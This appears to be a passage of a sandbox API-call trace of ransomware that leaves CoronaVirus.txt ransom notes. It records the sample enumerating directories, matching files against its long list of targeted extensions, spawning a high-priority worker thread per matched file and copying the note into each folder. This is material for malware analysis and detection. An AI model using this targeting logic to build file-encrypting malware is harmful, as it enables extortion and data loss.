	[0081.928] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1049", lpFilePart=0x316583c*="1049") returned 0x1a
	[0081.928] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea302038, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0081.929] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.929] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea302038, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.929] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.929] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea28fac7, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea28fac7, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.929] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.929] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.929] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.929] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.929] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.929] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.929] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.929] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.929] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.929] malloc (_Size=0x1000) returned 0x2f1c2c8
	[0081.929] _swprintf (in: param_1=0x2f1c2c8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\CoronaVirus.txt") returned 42
	[0081.929] wcsstr (_Str="C:\\588bce7c90097ed212\\1049\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.929] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.929] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.929] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.929] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.929] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.929] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.929] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.929] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.930] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.930] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.931] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.931] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.931] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.931] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.931] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.931] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.931] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.931] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.931] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.931] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.932] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.932] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.932] malloc (_Size=0x1000) returned 0x2f25530
	[0081.932] _swprintf (in: param_1=0x2f25530, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0081.932] wcsstr (_Str="C:\\588bce7c90097ed212\\1049\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.932] wcsstr (_Str="C:\\588bce7c90097ed212\\1049\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.932] wcsstr (_Str="C:\\588bce7c90097ed212\\1049\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f25530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0081.933] SetThreadPriority (hThread=0x494, nPriority=15) returned 1
	[0081.936] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.936] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.936] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.936] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.936] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.936] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.936] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.936] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.947] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.947] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.947] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.947] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.947] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.947] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.947] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.948] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.948] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.948] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.948] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.948] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.948] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.948] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.948] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.948] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.948] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.949] malloc (_Size=0x1000) returned 0x2f202e8
	[0081.953] _swprintf (in: param_1=0x2f202e8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0081.953] wcsstr (_Str="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.953] wcsstr (_Str="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.953] wcsstr (_Str="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f202e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0081.954] SetThreadPriority (hThread=0x480, nPriority=15) returned 1
	[0081.956] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.956] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.956] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.956] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.956] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.956] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.956] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.956] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.956] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.956] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.956] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.956] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.956] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.956] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.956] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.962] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.962] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.962] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.962] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.962] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.962] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.962] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.962] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.962] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.968] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.974] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.974] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.975] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.975] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.976] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.976] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.976] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.976] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0081.977] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1
	[0081.977] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.977] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.977] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1053") returned 26
	[0081.977] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.977] wcsstr (_Str="C:\\588bce7c90097ed212\\1053", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.977] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.982] _alloca_probe () returned 0x4036d0
	[0081.982] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1053", lpFilePart=0x316583c*="1053") returned 0x1a
	[0081.982] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea39a973, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0081.983] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.983] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea39a973, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
